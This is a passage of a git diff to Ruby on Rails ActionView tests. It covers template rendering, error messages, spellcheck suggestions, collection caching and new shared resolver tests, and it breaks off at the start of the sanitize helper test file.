     assert_equal "     9: <p>Ninth paragraph</p>", error_lines.second
     assert_equal "    10: <p>Tenth paragraph</p>", error_lines.third
   end
 
-  def test_render_sub_template_with_errors
-    e = assert_raises(ActionView::Template::Error) { @view.render(template: "test/sub_template_raise") }
+  def test_render_template_with_errors
+    e = assert_raises(ActionView::Template::Error) { @view.render(template: "test/_raise") }
     assert_match %r!method.*doesnt_exist!, e.message
-    assert_match %r{Trace of template inclusion: .*test/sub_template_raise.html.erb}, e.sub_template_message
+    assert_equal "", e.sub_template_message
     assert_equal "1", e.line_number
+    assert_equal "1: <%= doesnt_exist %>", e.annotated_source_code[0].strip
     assert_equal File.expand_path("#{FIXTURE_LOAD_PATH}/test/_raise.html.erb"), e.file_name
   end
 
-  def test_render_file_with_errors
-    e = assert_raises(ActionView::Template::Error) { @view.render(file: File.expand_path("test/_raise", FIXTURE_LOAD_PATH)) }
+  def test_render_sub_template_with_errors
+    e = assert_raises(ActionView::Template::Error) { @view.render(template: "test/sub_template_raise") }
     assert_match %r!method.*doesnt_exist!, e.message
-    assert_equal "", e.sub_template_message
+    assert_match %r{Trace of template inclusion: .*test/sub_template_raise\.html\.erb}, e.sub_template_message
     assert_equal "1", e.line_number
-    assert_equal "1: <%= doesnt_exist %>", e.annoted_source_code[0].strip
     assert_equal File.expand_path("#{FIXTURE_LOAD_PATH}/test/_raise.html.erb"), e.file_name
   end
 
-  def test_render_object
+  def test_undefined_method_error_references_named_class
+    e = assert_raises(ActionView::Template::Error) { @view.render(inline: "<%= undefined %>") }
+    assert_match(/undefined local variable or method [`']undefined'/, e.message)
+  end
+
+  def test_render_renderable_object
     assert_equal "Hello: david", @view.render(partial: "test/customer", object: Customer.new("david"))
     assert_equal "FalseClass", @view.render(partial: "test/klass", object: false)
     assert_equal "NilClass", @view.render(partial: "test/klass", object: nil)
   end
 
+  def test_render_renderable_render_in
+    assert_equal "Hello, World!", @view.render(TestRenderable.new)
+    assert_equal "Hello, World!", @view.render(renderable: TestRenderable.new)
+  end
+
+  def test_render_object_different_name
+    assert_equal "Hello: t.lo", @view.render(partial: "test/template_not_named_customer", object: Customer.new("t.lo"), as: "customer").chomp
+  end
+
   def test_render_object_with_array
     assert_equal "[1, 2, 3]", @view.render(partial: "test/object_inspector", object: [1, 2, 3])
   end
@@ -281,11 +415,6 @@ def test_render_partial_collection
     assert_equal "Hello: davidHello: mary", @view.render(partial: "test/customer", collection: [ Customer.new("david"), Customer.new("mary") ])
   end
 
-  def test_render_partial_collection_with_partial_name_containing_dot
-    assert_equal "Hello: davidHello: mary",
-      @view.render(partial: "test/customer.mobile", collection: [ Customer.new("david"), Customer.new("mary") ])
-  end
-
   def test_render_partial_collection_as_by_string
     assert_equal "david david davidmary mary mary",
       @view.render(partial: "test/customer_with_var", collection: [ Customer.new("david"), Customer.new("mary") ], as: "customer")
@@ -301,6 +430,11 @@ def test_render_partial_collection_without_as
       @view.render(partial: "test/local_inspector", collection: [ Customer.new("mary") ])
   end
 
+  def test_render_partial_collection_with_block
+    assert_equal "Before\narg2,arg1\nAfterBefore\narg2,arg1\nAfter",
+      @view.render(layout: "test/layout_for_block_with_args", collection: [ Customer.new, Customer.new ], as: :customer) { |a, b| "#{b},#{a}" }
+  end
+
   def test_render_partial_collection_with_different_partials_still_provides_partial_iteration
     a = {}
     b = {}
@@ -326,6 +460,13 @@ def test_render_partial_collection_for_non_array
     assert_equal "Hello: davidHello: mary", @view.render(partial: "test/customer", collection: customers)
   end
 
+  def test_without_compiled_method_container_is_deprecated
+    view = ActionView::Base.with_view_paths(ActionController::Base.view_paths)
+    assert_raises(NotImplementedError) do
+      view.render(template: "test/hello_world")
+    end
+  end
+
   def test_render_partial_without_object_does_not_put_partial_name_to_local_assigns
     assert_equal "false", @view.render(partial: "test/partial_name_in_local_assigns")
   end
@@ -430,13 +571,22 @@ def test_render_fallbacks_to_erb_for_unknown_types
     assert_equal "Hello, World!", @view.render(inline: "Hello, World!", type: :bar)
   end
 
-  CustomHandler = lambda do |template|
-    "@output_buffer = ''\n" \
-      "@output_buffer << 'source: #{template.source.inspect}'\n"
+  CustomHandler = lambda do |template, source|
+    "@output_buffer = ''.dup\n" \
+      "@output_buffer << 'source: #{source.inspect}'\n"
   end
 
   def test_render_inline_with_render_from_to_proc
-    ActionView::Template.register_template_handler :ruby_handler, :source.to_proc
+    ActionView::Template.register_template_handler :ruby_handler, lambda { |_, source| source }
+    assert_equal "3", @view.render(inline: "(1 + 2).to_s", type: :ruby_handler)
+  ensure
+    ActionView::Template.unregister_template_handler :ruby_handler
+  end
+
+  def test_optional_second_arg_works_without_deprecation
+    assert_not_deprecated(ActionView.deprecator) do
+      ActionView::Template.register_template_handler :ruby_handler, ->(view, source = nil) { source }
+    end
     assert_equal "3", @view.render(inline: "(1 + 2).to_s", type: :ruby_handler)
   ensure
     ActionView::Template.unregister_template_handler :ruby_handler
@@ -484,28 +634,30 @@ def test_render_does_not_use_unregistered_extension_and_template_handler
   def test_render_ignores_templates_with_malformed_template_handlers
     %w(malformed malformed.erb malformed.html.erb malformed.en.html.erb).each do |name|
       assert File.exist?(File.expand_path("#{FIXTURE_LOAD_PATH}/test/malformed/#{name}~")), "Malformed file (#{name}~) which should be ignored does not exists"
-      assert_raises(ActionView::MissingTemplate) { @view.render(file: "test/malformed/#{name}") }
+      assert_raises(ActionView::MissingTemplate) do
+        @view.render(template: "test/malformed/#{name}")
+      end
     end
   end
 
   def test_render_with_layout
     assert_equal %(<title></title>\nHello world!\n),
-      @view.render(file: "test/hello_world", layout: "layouts/yield")
+      @view.render(template: "test/hello_world", layout: "layouts/yield")
   end
 
   def test_render_with_layout_which_has_render_inline
     assert_equal %(welcome\nHello world!\n),
-      @view.render(file: "test/hello_world", layout: "layouts/yield_with_render_inline_inside")
+      @view.render(template: "test/hello_world", layout: "layouts/yield_with_render_inline_inside")
   end
 
   def test_render_with_layout_which_renders_another_partial
     assert_equal %(partial html\nHello world!\n),
-      @view.render(file: "test/hello_world", layout: "layouts/yield_with_render_partial_inside")
+      @view.render(template: "test/hello_world", layout: "layouts/yield_with_render_partial_inside")
   end
 
   def test_render_partial_with_html_only_extension
     assert_equal %(<h1>partial html</h1>\nHello world!\n),
-      @view.render(file: "test/hello_world", layout: "layouts/render_partial_html")
+      @view.render(template: "test/hello_world", layout: "layouts/render_partial_html")
   end
 
   def test_render_layout_with_block_and_yield
@@ -558,24 +710,54 @@ def test_render_partial_with_layout_raises_descriptive_error
     assert_match "Missing partial /_true with", e.message
   end
 
+  def test_render_partial_provides_spellcheck
+    e = assert_raises(ActionView::MissingTemplate) { @view.render(partial: "test/partail") }
+    assert_match %r{Did you mean\?  test/partial\e\[m\n\e\[1m *test/partialhtml}, e.detailed_message
+  end
+
+  def test_spellcheck_doesnt_list_directories
+    e = assert_raises(ActionView::MissingTemplate) { @view.render(partial: "test/directory") }
+    assert_match %r{Did you mean\?}, e.detailed_message
+    assert_no_match %r{Did you mean\?  test/directory\n}, e.detailed_message # test/hello is a directory
+  end
+
+  def test_spellcheck_only_lists_templates
+    e = assert_raises(ActionView::MissingTemplate) { @view.render(template: "test/partial") }
+
+    assert_match %r{Did you mean\?}, e.detailed_message
+    assert_no_match %r{Did you mean\?  test/partial\n}, e.detailed_message
+  end
+
+  def test_spellcheck_only_lists_partials
+    e = assert_raises(ActionView::MissingTemplate) { @view.render(partial: "test/template") }
+
+    assert_match %r{Did you mean\?}, e.detailed_message
+    assert_no_match %r{Did you mean\?  test/template\n}, e.detailed_message
+  end
+
+  def test_render_partial_wrong_details_no_spellcheck
+    e = assert_raises(ActionView::MissingTemplate) { @view.render(partial: "test/partial_with_only_html_version", formats: [:xml]) }
+    assert_no_match %r{Did you mean\?}, e.detailed_message
+  end
+
   def test_render_with_nested_layout
     assert_equal %(<title>title</title>\n\n<div id="column">column</div>\n<div id="content">content</div>\n),
-      @view.render(file: "test/nested_layout", layout: "layouts/yield")
+      @view.render(template: "test/nested_layout", layout: "layouts/yield")
   end
 
   def test_render_with_file_in_layout
     assert_equal %(\n<title>title</title>\n\n),
-      @view.render(file: "test/layout_render_file")
+      @view.render(template: "test/layout_render_file")
   end
 
   def test_render_layout_with_object
     assert_equal %(<title>David</title>),
-      @view.render(file: "test/layout_render_object")
+      @view.render(template: "test/layout_render_object")
   end
 
   def test_render_with_passing_couple_extensions_to_one_register_template_handler_function_call
     ActionView::Template.register_template_handler :foo1, :foo2, CustomHandler
-    assert_equal @view.render(inline: "Hello, World!", type: :foo1), @view.render(inline: "Hello, World!", type: :foo2)
+    assert_equal @view.render(inline: +"Hello, World!", type: :foo1), @view.render(inline: +"Hello, World!", type: :foo2)
   ensure
     ActionView::Template.unregister_template_handler :foo1, :foo2
   end
@@ -583,6 +765,42 @@ def test_render_with_passing_couple_extensions_to_one_register_template_handler_
   def test_render_throws_exception_when_no_extensions_passed_to_register_template_handler_function_call
     assert_raises(ArgumentError) { ActionView::Template.register_template_handler CustomHandler }
   end
+
+  def test_render_object
+    assert_equal(
+      %(Hello, World!),
+      @view.render(TestRenderable.new)
+    )
+  end
+
+  def test_render_mutate_string_literal
+    assert_equal "foobar", @view.render(inline: "+'foo' << 'bar'", type: :ruby)
+  end
+end
+
+class FrozenStringLiteralEnabledViewRenderTest < ActiveSupport::TestCase
+  include RenderTestCases
+
+  def setup
+    ActionView::LookupContext::DetailsKey.clear
+
+    @previous_frozen_literal = ActionView::Template.frozen_string_literal
+    ActionView::Template.frozen_string_literal = true
+    view_paths = ActionController::Base.view_paths
+    setup_view(view_paths)
+  end
+
+  def teardown
+    super
+    ActionView::Template.frozen_string_literal = @previous_frozen_literal
+  end
+
+  def test_render_mutate_string_literal
+    error = assert_raise ActionView::Template::Error do
+      @view.render(inline: "'foo' << 'bar'", type: :ruby)
+    end
+    assert_includes(error.message, "can't modify frozen String")
+  end
 end
 
 class CachedViewRenderTest < ActiveSupport::TestCase
@@ -590,14 +808,35 @@ class CachedViewRenderTest < ActiveSupport::TestCase
 
   # Ensure view path cache is primed
   def setup
+    ActionView::LookupContext::DetailsKey.clear
     view_paths = ActionController::Base.view_paths
-    assert_equal ActionView::OptimizedFileSystemResolver, view_paths.first.class
+    assert_equal ActionView::FileSystemResolver, view_paths.first.class
     setup_view(view_paths)
   end
 
-  def teardown
-    GC.start
-    I18n.reload!
+  def test_cache_fragments_inside_render_layout_call_with_block
+    cat = @view.render(template: "test/cache_fragment_inside_render_layout_block_1")
+    dog = @view.render(template: "test/cache_fragment_inside_render_layout_block_2")
+
+    assert_not_equal cat, dog
+  end
+
+  def test_caching_predicate_method
+    result = @view.render(template: "test/caching_predicate")
+
+    assert_match "Cached!", result
+  end
+
+  def test_caching_predicate_method_outside_of_cache
+    result = @view.render(template: "test/caching_predicate_outside_cache")
+
+    assert_match "Not cached!", result
+  end
+
+  def test_uncacheable
+    e = assert_raises(ActionView::Template::Error) { @view.render(template: "test/uncacheable") }
+
+    assert_match "can't be fragment cached", e.cause.message
   end
 end
 
@@ -607,20 +846,16 @@ class LazyViewRenderTest < ActiveSupport::TestCase
   # Test the same thing as above, but make sure the view path
   # is not eager loaded
   def setup
+    ActionView::LookupContext::DetailsKey.clear
     path = ActionView::FileSystemResolver.new(FIXTURE_LOAD_PATH)
     view_paths = ActionView::PathSet.new([path])
     assert_equal ActionView::FileSystemResolver.new(FIXTURE_LOAD_PATH), view_paths.first
     setup_view(view_paths)
   end
 
-  def teardown
-    GC.start
-    I18n.reload!
-  end
-
   def test_render_utf8_template_with_magic_comment
     with_external_encoding Encoding::ASCII_8BIT do
-      result = @view.render(file: "test/utf8_magic", formats: [:html], layouts: "layouts/yield")
+      result = @view.render(template: "test/utf8_magic", formats: [:html], layouts: "layouts/yield")
       assert_equal Encoding::UTF_8, result.encoding
       assert_equal "\nРу��кий \nтек�т\n\nUTF-8\nUTF-8\nUTF-8\n", result
     end
@@ -628,7 +863,7 @@ def test_render_utf8_template_with_magic_comment
 
   def test_render_utf8_template_with_default_external_encoding
     with_external_encoding Encoding::UTF_8 do
-      result = @view.render(file: "test/utf8", formats: [:html], layouts: "layouts/yield")
+      result = @view.render(template: "test/utf8", formats: [:html], layouts: "layouts/yield")
       assert_equal Encoding::UTF_8, result.encoding
       assert_equal "Ру��кий тек�т\n\nUTF-8\nUTF-8\nUTF-8\n", result
     end
@@ -636,14 +871,14 @@ def test_render_utf8_template_with_default_external_encoding
 
   def test_render_utf8_template_with_incompatible_external_encoding
     with_external_encoding Encoding::SHIFT_JIS do
-      e = assert_raises(ActionView::Template::Error) { @view.render(file: "test/utf8", formats: [:html], layouts: "layouts/yield") }
+      e = assert_raises(ActionView::Template::Error) { @view.render(template: "test/utf8", formats: [:html], layouts: "layouts/yield") }
       assert_match "Your template was not saved as valid Shift_JIS", e.cause.message
     end
   end
 
   def test_render_utf8_template_with_partial_with_incompatible_encoding
     with_external_encoding Encoding::SHIFT_JIS do
-      e = assert_raises(ActionView::Template::Error) { @view.render(file: "test/utf8_magic_with_bare_partial", formats: [:html], layouts: "layouts/yield") }
+      e = assert_raises(ActionView::Template::Error) { @view.render(template: "test/utf8_magic_with_bare_partial", formats: [:html], layouts: "layouts/yield") }
       assert_match "Your template was not saved as valid Shift_JIS", e.cause.message
     end
   end
@@ -664,17 +899,33 @@ class CachedCustomer < Customer; end
 
   # Ensure view path cache is primed
   setup do
+    ActionView::LookupContext::DetailsKey.clear
+
     view_paths = ActionController::Base.view_paths
-    assert_equal ActionView::OptimizedFileSystemResolver, view_paths.first.class
+    assert_equal ActionView::FileSystemResolver, view_paths.first.class
 
     ActionView::PartialRenderer.collection_cache = ActiveSupport::Cache::MemoryStore.new
 
     setup_view(view_paths)
   end
 
-  teardown do
-    GC.start
-    I18n.reload!
+  test "template body written to cache" do
+    customer = Customer.new("david", 1)
+    key = cache_key(customer, "test/_customer")
+    assert_nil ActionView::PartialRenderer.collection_cache.read(key)
+    @view.render(partial: "test/customer", collection: [customer], cached: true)
+    assert_equal "Hello: david", ActionView::PartialRenderer.collection_cache.read(key)
+  end
+
+  test "template body written to cache with expiration when expires_in set" do
+    customer = Customer.new("jarrett", 2)
+    key = cache_key(customer, "test/_customer")
+    @view.render(partial: "test/customer", collection: [customer], cached: { expires_in: 1.hour })
+    assert_equal "Hello: jarrett", ActionView::PartialRenderer.collection_cache.read(key)
+
+    travel 2.hours
+
+    assert_nil ActionView::PartialRenderer.collection_cache.read(key)
   end
 
   test "collection caching does not cache by default" do
@@ -687,6 +938,30 @@ class CachedCustomer < Customer; end
       @view.render(partial: "test/customer", collection: [customer])
   end
 
+  test "collection caching does not cache if controller doesn't respond to perform_caching" do
+    @view.controller = nil
+
+    customer = Customer.new("david", 1)
+    key = cache_key(customer, "test/_customer")
+
+    ActionView::PartialRenderer.collection_cache.write(key, "Cached")
+
+    assert_not_equal "Cached",
+      @view.render(partial: "test/customer", collection: [customer], cached: true)
+  end
+
+  test "collection caching does not cache if perform_caching is disabled" do
+    @view.controller.perform_caching = false
+
+    customer = Customer.new("david", 1)
+    key = cache_key(customer, "test/_customer")
+
+    ActionView::PartialRenderer.collection_cache.write(key, "Cached")
+
+    assert_not_equal "Cached",
+      @view.render(partial: "test/customer", collection: [customer], cached: true)
+  end
+
   test "collection caching with partial that doesn't use fragment caching" do
     customer = Customer.new("david", 1)
     key = cache_key(customer, "test/_customer")
@@ -707,9 +982,48 @@ class CachedCustomer < Customer; end
       @view.render(partial: "test/cached_customer", collection: [customer], cached: true)
   end
 
+  test "collection caching does not work on multi-partials" do
+    a = Object.new
+    b = Object.new
+    def a.to_partial_path; "test/partial_iteration_1"; end
+    def b.to_partial_path; "test/partial_iteration_2"; end
+
+    assert_raises(NotImplementedError) do
+      @controller_view.render(partial: [a, b], cached: true)
+    end
+  end
+
+  test "collection caching with empty collection and logger with level debug" do
+    ActionView::PartialRenderer.collection_cache.logger = Logger.new(nil, level: :debug)
+
+    assert_nil @view.render(partial: "test/cached_customer", collection: [], cached: true)
+  end
+
+  test "collection caching with repeated collection" do
+    sets = [
+        [1, 2, 3, 4, 5],
+        [1, 2, 3, 4, 4],
+        [1, 2, 3, 4, 5],
+        [1, 2, 3, 4, 4],
+        [1, 2, 3, 4, 6]
+    ]
+
+    result = @view.render(partial: "test/cached_set", collection: sets, cached: true)
+
+    splited_result = result.split("\n")
+    assert_equal 5, splited_result.count
+    assert_equal [
+      "1 | 2 | 3 | 4 | 5",
+      "1 | 2 | 3 | 4 | 4",
+      "1 | 2 | 3 | 4 | 5",
+      "1 | 2 | 3 | 4 | 4",
+      "1 | 2 | 3 | 4 | 6"
+    ], splited_result
+  end
+
   private
     def cache_key(*names, virtual_path)
-      digest = ActionView::Digestor.digest name: virtual_path, finder: @view.lookup_context, dependencies: []
-      @view.fragment_cache_key([ *names, digest ])
+      digest = ActionView::Digestor.digest name: virtual_path, format: :html, finder: @view.lookup_context, dependencies: []
+      @view.combined_fragment_cache_key([ "#{virtual_path}:#{digest}", *names ])
     end
 end
diff --git a/actionview/test/template/resolver_cache_test.rb b/actionview/test/template/resolver_cache_test.rb
deleted file mode 100644
index 0ecfccd3754a0..0000000000000
--- a/actionview/test/template/resolver_cache_test.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-require "abstract_unit"
-
-class ResolverCacheTest < ActiveSupport::TestCase
-  def test_inspect_shields_cache_internals
-    assert_match %r(#<ActionView::Resolver:0x[0-9a-f]+ @cache=#<ActionView::Resolver::Cache:0x[0-9a-f]+ keys=0 queries=0>>), ActionView::Resolver.new.inspect
-  end
-end
diff --git a/actionview/test/template/resolver_patterns_test.rb b/actionview/test/template/resolver_patterns_test.rb
deleted file mode 100644
index 43e3f21076cd2..0000000000000
--- a/actionview/test/template/resolver_patterns_test.rb
+++ /dev/null
@@ -1,42 +0,0 @@
-require "abstract_unit"
-
-class ResolverPatternsTest < ActiveSupport::TestCase
-  def setup
-    path = File.expand_path("../../fixtures/", __FILE__)
-    pattern = ":prefix/{:formats/,}:action{.:formats,}{+:variants,}{.:handlers,}"
-    @resolver = ActionView::FileSystemResolver.new(path, pattern)
-  end
-
-  def test_should_return_empty_list_for_unknown_path
-    templates = @resolver.find_all("unknown", "custom_pattern", false, locale: [], formats: [:html], variants: [], handlers: [:erb])
-    assert_equal [], templates, "expected an empty list of templates"
-  end
-
-  def test_should_return_template_for_declared_path
-    templates = @resolver.find_all("path", "custom_pattern", false, locale: [], formats: [:html], variants: [], handlers: [:erb])
-    assert_equal 1, templates.size, "expected one template"
-    assert_equal "Hello custom patterns!", templates.first.source
-    assert_equal "custom_pattern/path",    templates.first.virtual_path
-    assert_equal [:html],                  templates.first.formats
-  end
-
-  def test_should_return_all_templates_when_ambiguous_pattern
-    templates = @resolver.find_all("another", "custom_pattern", false, locale: [], formats: [:html], variants: [], handlers: [:erb])
-    assert_equal 2, templates.size, "expected two templates"
-    assert_equal "Another template!",      templates[0].source
-    assert_equal "custom_pattern/another", templates[0].virtual_path
-    assert_equal "Hello custom patterns!", templates[1].source
-    assert_equal "custom_pattern/another", templates[1].virtual_path
-  end
-
-  def test_should_return_all_variants_for_any
-    templates = @resolver.find_all("hello_world", "test", false, locale: [], formats: [:html, :text], variants: :any, handlers: [:erb])
-    assert_equal 3, templates.size, "expected three templates"
-    assert_equal "Hello phone!",       templates[0].source
-    assert_equal "test/hello_world",   templates[0].virtual_path
-    assert_equal "Hello texty phone!", templates[1].source
-    assert_equal "test/hello_world",   templates[1].virtual_path
-    assert_equal "Hello world!",       templates[2].source
-    assert_equal "test/hello_world",   templates[2].virtual_path
-  end
-end
diff --git a/actionview/test/template/resolver_shared_tests.rb b/actionview/test/template/resolver_shared_tests.rb
new file mode 100644
index 0000000000000..67bff214a1945
--- /dev/null
+++ b/actionview/test/template/resolver_shared_tests.rb
@@ -0,0 +1,269 @@
+# frozen_string_literal: true
+
+module ResolverSharedTests
+  attr_reader :tmpdir
+
+  def run(*args)
+    capture_exceptions do
+      Dir.mktmpdir(nil, __dir__) { |dir| @tmpdir = dir; super }
+    end
+  end
+
+  def with_file(filename, source = "File at #{filename}")
+    path = File.join(tmpdir, filename)
+    FileUtils.mkdir_p(File.dirname(path))
+    File.write(path, source)
+  end
+
+  def context
+    @context ||= ActionView::LookupContext.new(resolver)
+  end
+
+  def test_can_find_with_no_extensions
+    with_file "test/hello_world", "Hello default!"
+
+    templates = resolver.find_all("hello_world", "test", false, locale: [:en], formats: [:html], variants: [:phone], handlers: [:erb])
+    assert_equal 1, templates.size
+    assert_equal "Hello default!",   templates[0].source
+    assert_equal "test/hello_world", templates[0].virtual_path
+    assert_nil templates[0].format
+    assert_nil templates[0].variant
+    assert_kind_of ActionView::Template::Handlers::Raw, templates[0].handler
+  end
+
+  def test_can_find_with_just_handler
+    with_file "test/hello_world.erb", "Hello erb!"
+
+    templates = resolver.find_all("hello_world", "test", false, locale: [:en], formats: [:html], variants: [:phone], handlers: [:erb])
+    assert_equal 1, templates.size
+    assert_equal "Hello erb!",   templates[0].source
+    assert_equal "test/hello_world", templates[0].virtual_path
+    assert_nil templates[0].format
+    assert_nil templates[0].variant
+    assert_kind_of ActionView::Template::Handlers::ERB, templates[0].handler
+  end
+
+  def test_can_find_with_format_and_handler
+    with_file "test/hello_world.text.builder", "Hello plain text!"
+
+    templates = resolver.find_all("hello_world", "test", false, locale: [:en], formats: [:html, :text], variants: [:phone], handlers: [:erb, :builder])
+    assert_equal 1, templates.size
+    assert_equal "Hello plain text!", templates[0].source
+    assert_equal "test/hello_world",  templates[0].virtual_path
+    assert_equal :text, templates[0].format
+    assert_nil templates[0].variant
+    assert_kind_of ActionView::Template::Handlers::Builder, templates[0].handler
+  end
+
+  def test_can_find_with_variant_format_and_handler
+    with_file "test/hello_world.html+phone.erb", "Hello plain text!"
+
+    templates = resolver.find_all("hello_world", "test", false, locale: [:en], formats: [:html], variants: [:phone], handlers: [:erb])
+    assert_equal 1, templates.size
+    assert_equal "Hello plain text!", templates[0].source
+    assert_equal "test/hello_world",  templates[0].virtual_path
+    assert_equal :html, templates[0].format
+    assert_equal "phone", templates[0].variant
+    assert_kind_of ActionView::Template::Handlers::ERB, templates[0].handler
+  end
+
+  def test_can_find_with_any_variant_format_and_handler
+    with_file "test/hello_world.html+phone.erb", "Hello plain text!"
+
+    templates = resolver.find_all("hello_world", "test", false, locale: [:en], formats: [:html], variants: :any, handlers: [:erb])
+    assert_equal 1, templates.size
+    assert_equal "Hello plain text!", templates[0].source
+    assert_equal "test/hello_world",  templates[0].virtual_path
+    assert_equal :html, templates[0].format
+    assert_equal "phone", templates[0].variant
+    assert_kind_of ActionView::Template::Handlers::ERB, templates[0].handler
+  end
+
+  def test_can_find_when_special_chars_in_path
+    dir = "test +()[]{}"
+    with_file "#{dir}/hello_world", "Hello funky path!"
+
+    templates = resolver.find_all("hello_world", dir, false, locale: [:en], formats: [:html], variants: [:phone], handlers: [:erb])
+    assert_equal 1, templates.size
+    assert_equal "Hello funky path!", templates[0].source
+    assert_equal "#{dir}/hello_world", templates[0].virtual_path
+  end
+
+  def test_doesnt_find_template_with_wrong_details
+    with_file "test/hello_world.html.erb", "Hello plain text!"
+
+    templates = resolver.find_all("hello_world", "test", false, locale: [], formats: [:xml], variants: :any, handlers: [:builder])
+    assert_equal 0, templates.size
+
+    templates = resolver.find_all("hello_world", "test", false, locale: [], formats: [:xml], variants: :any, handlers: [:erb])
+    assert_equal 0, templates.size
+  end
+
+  def test_found_template_is_cached
+    with_file "test/hello_world.html.erb", "Hello HTML!"
+
+    a = context.find("hello_world", "test", false, [], {})
+    b = context.find("hello_world", "test", false, [], {})
+    assert_same a, b
+  end
+
+  def test_different_templates_when_cache_disabled
+    with_file "test/hello_world.html.erb", "Hello HTML!"
+
+    a = context.find("hello_world", "test", false, [], {})
+    b = context.disable_cache { context.find("hello_world", "test", false, [], {}) }
+    c = context.find("hello_world", "test", false, [], {})
+
+    # disable_cache should give us a new object
+    assert_not_same a, b
+
+    # but it should not clear the cache
+    assert_same a, c
+  end
+
+  def test_same_template_from_different_details_is_same_object
+    with_file "test/hello_world.html.erb", "Hello HTML!"
+
+    a = context.find("hello_world", "test", false, [], locale: [:en])
+    b = context.find("hello_world", "test", false, [], locale: [:fr])
+    assert_same a, b
+  end
+
+  def test_templates_with_optional_locale_shares_common_object
+    with_file "test/hello_world.text.erb", "Generic plain text!"
+    with_file "test/hello_world.fr.text.erb", "Texte en Francais!"
+
+    en = context.find_all("hello_world", "test", false, [], locale: [:en])
+    fr = context.find_all("hello_world", "test", false, [], locale: [:fr])
+
+    assert_equal 1, en.size
+    assert_equal 2, fr.size
+
+    assert_equal "Generic plain text!", en[0].source
+    assert_equal "Texte en Francais!",  fr[0].source
+    assert_equal "Generic plain text!", fr[1].source
+
+    assert_same en[0], fr[1]
+  end
+
+  def test_templates_sort_by_formats_json_first
+    with_file "test/hello_world.html.erb", "Hello HTML!"
+    with_file "test/hello_world.json.builder", "Hello JSON!"
+
+    templates = resolver.find_all("hello_world", "test", false, locale: [], formats: [:json, :html], variants: :any, handlers: [:erb, :builder])
+
+    assert_equal 2, templates.size
+    assert_equal "Hello JSON!", templates[0].source
+    assert_equal :json, templates[0].format
+    assert_equal "Hello HTML!", templates[1].source
+    assert_equal :html, templates[1].format
+  end
+
+  def test_templates_sort_by_formats_html_first
+    with_file "test/hello_world.html.erb", "Hello HTML!"
+    with_file "test/hello_world.json.builder", "Hello JSON!"
+
+    templates = resolver.find_all("hello_world", "test", false, locale: [], formats: [:html, :json], variants: :any, handlers: [:erb, :builder])
+
+    assert_equal 2, templates.size
+    assert_equal "Hello HTML!", templates[0].source
+    assert_equal :html, templates[0].format
+    assert_equal "Hello JSON!", templates[1].source
+    assert_equal :json, templates[1].format
+  end
+
+  def test_templates_with_variant
+    with_file "test/hello_world.html+mobile.erb", "Hello HTML!"
+
+    templates = resolver.find_all("hello_world", "test", false, locale: [], formats: [:html, :json], variants: :any, handlers: [:erb, :builder])
+
+    assert_equal 1, templates.size
+    assert_equal "Hello HTML!", templates[0].source
+    assert_kind_of ActionView::Template::Handlers::ERB, templates[0].handler
+    assert_equal :html, templates[0].format
+    assert_equal "mobile", templates[0].variant
+  end
+
+  def test_finds_variants_in_order
+    with_file "test/hello_world.html+tricorder.erb", "Hello Spock!"
+    with_file "test/hello_world.html+lcars.erb", "Hello Geordi!"
+
+    tricorder = context.find("hello_world", "test", false, [], { variants: [:tricorder] })
+    lcars = context.find("hello_world", "test", false, [], { variants: [:lcars] })
+
+    assert_equal "Hello Spock!", tricorder.source
+    assert_equal "tricorder", tricorder.variant
+    assert_equal "Hello Geordi!", lcars.source
+    assert_equal "lcars", lcars.variant
+
+    templates = context.find_all("hello_world", "test", false, [], { variants: [:tricorder, :lcars] })
+    assert_equal [tricorder, lcars], templates
+
+    templates = context.find_all("hello_world", "test", false, [], { variants: [:lcars, :tricorder] })
+    assert_equal [lcars, tricorder], templates
+  end
+
+  def test_templates_no_format_with_variant
+    with_file "test/hello_world+mobile.erb", "Hello HTML!"
+
+    templates = resolver.find_all("hello_world", "test", false, locale: [], formats: [:html, :json], variants: :any, handlers: [:erb, :builder])
+
+    assert_equal 1, templates.size
+    assert_equal "Hello HTML!", templates[0].source
+    assert_kind_of ActionView::Template::Handlers::ERB, templates[0].handler
+    assert_nil templates[0].format
+    assert_equal "mobile", templates[0].variant
+  end
+
+  def test_templates_no_format_or_handler_with_variant
+    with_file "test/hello_world+mobile", "Hello HTML!"
+
+    templates = resolver.find_all("hello_world", "test", false, locale: [], formats: [:html, :json], variants: :any, handlers: [:erb, :builder])
+
+    assert_equal 1, templates.size
+    assert_equal "Hello HTML!", templates[0].source
+    assert_kind_of ActionView::Template::Handlers::Raw, templates[0].handler
+    assert_nil templates[0].format
+    assert_equal "mobile", templates[0].variant
+  end
+
+  def test_returns_no_results_with_dot
+    with_file "test/hello_world.html.erb", "Hello html!"
+
+    assert_empty context.find_all("hello_world.html", "test", false, [], {})
+  end
+
+  def test_finds_template_with_lowdash_format
+    with_file "test/hello_world.es_AR.text.erb", "Texto simple!"
+
+    es_ar = context.find_all("hello_world", "test", false, [], locale: [:es_AR])
+
+    assert_equal 1, es_ar.size
+
+    assert_equal "Texto simple!", es_ar[0].source
+  end
+
+  def test_finds_template_with_arbitrarily_formatted_locale
+    I18n.backend.store_translations(:en_customer1, { hello: "hello" })
+    with_file "test/hello_world.en_customer1.text.erb", "Good day, world."
+
+    templates = context.find_all("hello_world", "test", false, [], locale: [:en_customer1])
+
+    assert_equal 1, templates.size
+    assert_equal "Good day, world.", templates[0].source
+  ensure
+    I18n.reload!
+  end
+
+  def test_strict_locals_reuses_same_template
+    with_file "test/hello_world.html.erb", %q{<%# locals: (message: "hello")%>\n<%= message %>}
+
+    template = context.find_all("hello_world", "test", false, [:message], {})[0]
+    template2 = context.find_all("hello_world", "test", false, [], {})[0]
+
+    assert_same template, template2
+
+    assert_predicate template, :strict_locals?
+    assert_nil template.locals
+  end
+end
diff --git a/actionview/test/template/sanitize_helper_test.rb b/actionview/test/template/sanitize_helper_test.rb
index c8963fee9cbf7..3918c85cc7deb 100644
--- a/actionview/test/template/sanitize_helper_test.rb
+++ b/actionview/test/template/sanitize_helper_test.rb
@@ -1,39 +1,396 @@
+# frozen_string_literal: true
+
+#
+#  This file has two suites of tests:
+#  - A unit test suite for SanitizeHelper behavior
+#  - An integration test suite to verify basic expectations for each supported sanitizer vendor
+#
+
 require "abstract_unit"
 
-# The exhaustive tests are in test/controller/html/sanitizer_test.rb.
-# This tests that the helpers hook up correctly to the sanitizer classes.
+#
+#  Unit test SanitizeHelper behavior. We use a mock vendor to ensure we're testing behavior that is
+#  independent of sanitizer vendors.
+#
 class SanitizeHelperTest < ActionView::TestCase
